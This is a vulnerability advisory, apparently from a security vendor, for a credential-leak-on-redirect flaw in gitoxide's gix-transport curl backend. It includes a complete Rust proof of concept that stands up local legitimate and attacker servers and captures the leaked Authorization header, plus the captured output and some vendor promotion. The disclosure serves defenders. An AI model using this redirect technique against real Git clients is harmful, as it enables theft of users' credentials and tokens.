GHSA-9857-6MW7-FQ2M

GHSA-9857-6MW7-FQ2M is a medium-severity security vulnerability in gix-transport (rust), affecting versions >= 0.25.4, <= 0.55.0. It is fixed in 0.56.0.

Summary

The curl-based HTTP transport in gix-transport sends user credentials (passwords, tokens) to an attacker-controlled server after an HTTP redirect. When a server responds with a 302 redirect during the initial GET /info/refs, gitoxide records the redirected base URL and rewrites all subsequent requests to point at the redirected host. The Authorization header is still attached because add_basic_auth_if_present() only checks self.url (the original, never-updated URL).

The reqwest backend is not affected. Its custom redirect policy at reqwest/remote.rs lines 60-64 compares prev_url.host_str() to curr_url.host_str() and calls attempt.stop() on cross-domain redirects, so redirected_base_url is never set to a different host.

Details

The vulnerability involves two components in gix-transport:

1. URL rewriting after redirect (gix-transport/src/client/blocking_io/http/curl/remote.rs)

After a request completes, the effective URL is compared to the requested URL. If they differ (redirect occurred), the new base URL is stored (lines 355-359). On subsequent requests, swap_tails() rewrites the target URL to point at the redirected host (line 166).

2. Credential check uses original URL (gix-transport/src/client/blocking_io/http/mod.rs, lines 293-312)

add_basic_auth_if_present() checks self.url (set once during construction, never mutated) to decide whether to attach credentials. Since self.url always points to the original host, credentials are approved even when the actual request goes to the redirected (attacker) host.

The Authorization header is added to the headers list in handshake() (line 374) and request() (line 434) before being passed to the backend, which applies them to the rewritten URL via handle.http_headers(headers) (line 309).

Attack flow: cross-domain credential leak

  1. Victim clones https://legitimate.com/repo with credentials configured
  2. Server returns 302 redirect on GET /info/refs to https://attacker.com/...
  3. Curl follows the redirect and strips Authorization for this GET (safe so far)
  4. Attacker serves a valid info/refs response; redirected_base_url is set
  5. POST /git-upload-pack is rewritten via swap_tails() to attacker.com
  6. add_basic_auth_if_present() checks self.url (still legitimate.com), approves credential sending
  7. Authorization: Basic <credentials> is sent to attacker.com

Curl's cross-domain header stripping only protects the redirected GET. It does not protect the POST, which is a new request with credentials re-attached by gitoxide.

Secondary vector: HTTPS-to-HTTP downgrade

The cleartext protection at mod.rs line 300-305 also checks self.url:

if self.url.starts_with("http://") {
    return Err(client::Error::AuthenticationRefused("..."));
}

This only validates the original URL's scheme, not the effective URL after redirect. A redirect from https://legitimate.com to http://attacker.com bypasses this check, causing credentials to be sent in cleartext over HTTP.

  1. Victim clones https://legitimate.com/repo with credentials
  2. Server redirects to http://attacker.com/... (note: HTTP, not HTTPS)
  3. add_basic_auth_if_present() checks self.url (still https://), allows credentials
  4. Authorization header is sent over unencrypted HTTP to attacker.com

PoC

A complete Rust project that reproduces the issue. It starts two local TCP servers (legitimate on :8080, attacker on :9090) and uses gix-transport to demonstrate the credential leak.

To run: Create the project next to the gitoxide checkout so path dependencies resolve, then cargo run.

Cargo.toml
[package]
name = "poc-gitoxide-redirect"
version = "0.1.0"
edition = "2021"

[dependencies]
# http-client-insecure-credentials is only needed because the PoC uses http://
# to avoid TLS setup. A real attack would use https:// and not require this feature.
gix-transport = { path = "../gitoxide/gix-transport", features = ["http-client-curl", "http-client-insecure-credentials"] }
gix-sec = { path = "../gitoxide/gix-sec" }
gix-url = { path = "../gitoxide/gix-url" }
gix-packetline = { path = "../gitoxide/gix-packetline", features = ["blocking-io"] }
src/main.rs
use std::io::{BufRead, BufReader, Write};
use std::net::TcpListener;
use std::sync::mpsc;
use std::thread;

use gix_transport::client::{self, blocking_io::http, blocking_io::Transport, TransportWithoutIO};

fn main() {
    println!("=== gitoxide HTTP credential leak via redirect ===\n");

    let (captured_tx, captured_rx) = mpsc::channel::<Vec<String>>();

    // Attacker server (port 9090): captures credentials
    let attacker = TcpListener::bind("127.0.0.1:9090").expect("bind attacker");
    let attacker_handle = thread::spawn(move || {
        let (mut conn1, _) = attacker.accept().expect("accept conn1");
        let mut reader1 = BufReader::new(conn1.try_clone().unwrap());
        let mut headers1 = Vec::new();
        loop {
            let mut line = String::new();
            reader1.read_line(&mut line).unwrap();
            if line.trim().is_empty() { break; }
            headers1.push(line.trim().to_string());
        }
        println!("[attacker] GET /info/refs headers (from redirect):");
        for h in &headers1 { println!("  {h}"); }

        let pkt_service = "001e# service=git-upload-pack\n";
        let pkt_flush = "0000";
        let fake_hash = "a".repeat(40);
        let caps = "multi_ack thin-pack side-band side-band-64k ofs-delta shallow no-progress include-tag";
        let ref_line = format!("{fake_hash} HEAD\0{caps}\n");
        let ref_pkt = format!("{:04x}{ref_line}", ref_line.len() + 4);
        let body = format!("{pkt_service}{pkt_flush}{ref_pkt}{pkt_flush}");
        let response = format!(
            "HTTP/1.1 200 OK\r\nContent-Type: application/x-git-upload-pack-advertisement\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
            body.len()
        );
        conn1.write_all(response.as_bytes()).unwrap();
        conn1.flush().unwrap();
        drop(conn1);

        let (mut conn2, _) = attacker.accept().expect("accept conn2");
        let mut reader2 = BufReader::new(conn2.try_clone().unwrap());
        let mut headers2 = Vec::new();
        let mut content_length: usize = 0;
        loop {
            let mut line = String::new();
            reader2.read_line(&mut line).unwrap();
            if line.trim().is_empty() { break; }
            let trimmed = line.trim().to_string();
            if let Some(cl) = trimmed.strip_prefix("Content-Length: ") {
                content_length = cl.parse().unwrap_or(0);
            }
            headers2.push(trimmed);
        }
        if content_length > 0 {
            let mut body_buf = vec![0u8; content_length];
            use std::io::Read;
            reader2.read_exact(&mut body_buf).ok();
        }

        println!("\n[attacker] POST /git-upload-pack headers:");
        for h in &headers2 {
            let prefix = if h.starts_with("Authorization:") { "  >>> LEAKED: " } else { "  " };
            println!("{prefix}{h}");
        }

        let resp_body = "0000";
        let response2 = format!(
            "HTTP/1.1 200 OK\r\nContent-Type: application/x-git-upload-pack-result\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{resp_body}",
            resp_body.len()
        );
        conn2.write_all(response2.as_bytes()).unwrap();
        conn2.flush().unwrap();
        drop(conn2);

        captured_tx.send(headers2).ok();
    });

    // Legitimate server (port 8080): redirects to attacker
    let legit = TcpListener::bind("127.0.0.1:8080").expect("bind legit");
    let legit_handle = thread::spawn(move || {
        let (mut conn, _) = legit.accept().expect("accept legit");
        let mut reader = BufReader::new(conn.try_clone().unwrap());
        let mut request_line = String::new();
        reader.read_line(&mut request_line).unwrap();
        println!("[legit] Received: {}", request_line.trim());
        loop {
            let mut line = String::new();
            reader.read_line(&mut line).unwrap();
            if line.trim().is_empty() { break; }
        }
        let redirect_url = "http://127.0.0.1:9090/repo.git/info/refs?service=git-upload-pack";
        let response = format!(
            "HTTP/1.1 302 Found\r\nLocation: {redirect_url}\r\nContent-Length: 0\r\n\r\n"
        );
        conn.write_all(response.as_bytes()).unwrap();
        conn.flush().unwrap();
        println!("[legit] Sent 302 redirect to attacker server");
    });

    thread::sleep(std::time::Duration::from_millis(100));

    println!("\n[client] Connecting to http://127.0.0.1:8080/repo.git with credentials...");
    let url: gix_url::Url = "http://127.0.0.1:8080/repo.git".try_into().expect("parse url");
    let mut transport: http::Transport<http::curl::Curl> =
        http::connect(url, gix_transport::Protocol::V1, false);
    transport
        .set_identity(gix_sec::identity::Account {
            username: "victim-user".into(),
            password: "super-secret-token".into(),
            oauth_refresh_token: None,
        })
        .expect("set identity");

    println!("[client] Performing handshake (GET /info/refs)...");
    match transport.handshake(gix_transport::Service::UploadPack, &[]) {
        Ok(_) => println!("[client] Handshake succeeded"),
        Err(e) => println!("[client] Handshake error: {e}"),
    }

    println!("[client] Sending request (POST /git-upload-pack)...");
    match transport.request(client::WriteMode::Binary, client::MessageKind::Flush, false) {
        Ok(_writer) => println!("[client] Request sent"),
        Err(e) => println!("[client] Request error: {e}"),
    }

    legit_handle.join().ok();
    attacker_handle.join().ok();

    println!("\n=== RESULT ===");
    if let Ok(headers) = captured_rx.recv_timeout(std::time::Duration::from_secs(2)) {
        let leaked = headers.iter().any(|h| h.starts_with("Authorization:"));
        if leaked {
            let auth = headers.iter().find(|h| h.starts_with("Authorization:")).unwrap();
            println!("VULNERABLE: Credentials leaked to attacker server!");
            println!("Captured: {auth}");
        } else {
            println!("NOT VULNERABLE: No credentials captured.");
        }
    } else {
        println!("ERROR: Timed out.");
    }
}

Output:

[attacker] GET /info/refs headers (from redirect):
  GET /repo.git/info/refs?service=git-upload-pack HTTP/1.1
  Host: 127.0.0.1:9090
  Accept: */*
  User-Agent: git/oxide-0.55.0

[attacker] POST /git-upload-pack headers:
  POST /repo.git/git-upload-pack HTTP/1.1
  Host: 127.0.0.1:9090
  >>> LEAKED: Authorization: Basic dmljdGltLXVzZXI6c3VwZXItc2VjcmV0LXRva2Vu

VULNERABLE: Credentials leaked to attacker server!
Captured: Authorization: Basic dmljdGltLXVzZXI6c3VwZXItc2VjcmV0LXRva2Vu

The GET (from redirect) has no Authorization header. The POST carries the full credentials. The base64 decodes to victim-user:super-secret-token.

Impact

Any user who clones or fetches over HTTP(S) using gitoxide with the curl backend (http-client-curl feature) can have their credentials stolen by an attacker who controls a redirect target (via compromised server, DNS hijacking, or MITM). The only user interaction required is initiating the clone or fetch; the redirect and credential leak happen transparently. CI/CD pipelines using tokens are also at risk.

GHSA-9857-6MW7-FQ2M has a CVSS score of 6.8 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.56.0); upgrading removes the vulnerable code path.

Affected versions

gix-transport (>= 0.25.4, <= 0.55.0)

Security releases

gix-transport → 0.56.0 (rust)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

  1. Only attach Authorization if the effective URL's host matches the original URL's host.
  2. Or block cross-origin redirects in the curl backend, matching reqwest's behavior.
  3. Check the effective URL's scheme (not the original) for the HTTPS-to-HTTP downgrade.

Frequently Asked Questions

  1. What is GHSA-9857-6MW7-FQ2M? GHSA-9857-6MW7-FQ2M is a medium-severity security vulnerability in gix-transport (rust), affecting versions >= 0.25.4, <= 0.55.0. It is fixed in 0.56.0.
  2. How severe is GHSA-9857-6MW7-FQ2M? GHSA-9857-6MW7-FQ2M has a CVSS score of 6.8 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of gix-transport are affected by GHSA-9857-6MW7-FQ2M? gix-transport (rust) versions >= 0.25.4, <= 0.55.0 is affected.
  4. Is there a fix for GHSA-9857-6MW7-FQ2M? Yes. GHSA-9857-6MW7-FQ2M is fixed in 0.56.0. Upgrade to this version or later.
  5. Is GHSA-9857-6MW7-FQ2M exploitable, and should I be worried? Whether GHSA-9857-6MW7-FQ2M is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether GHSA-9857-6MW7-FQ2M is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix GHSA-9857-6MW7-FQ2M? Upgrade gix-transport to 0.56.0 or later.

Other vulnerabilities in gix-transport

CVE-2024-32884CVE-2023-53158

Stop the waste.
Protect your environment with Kodem.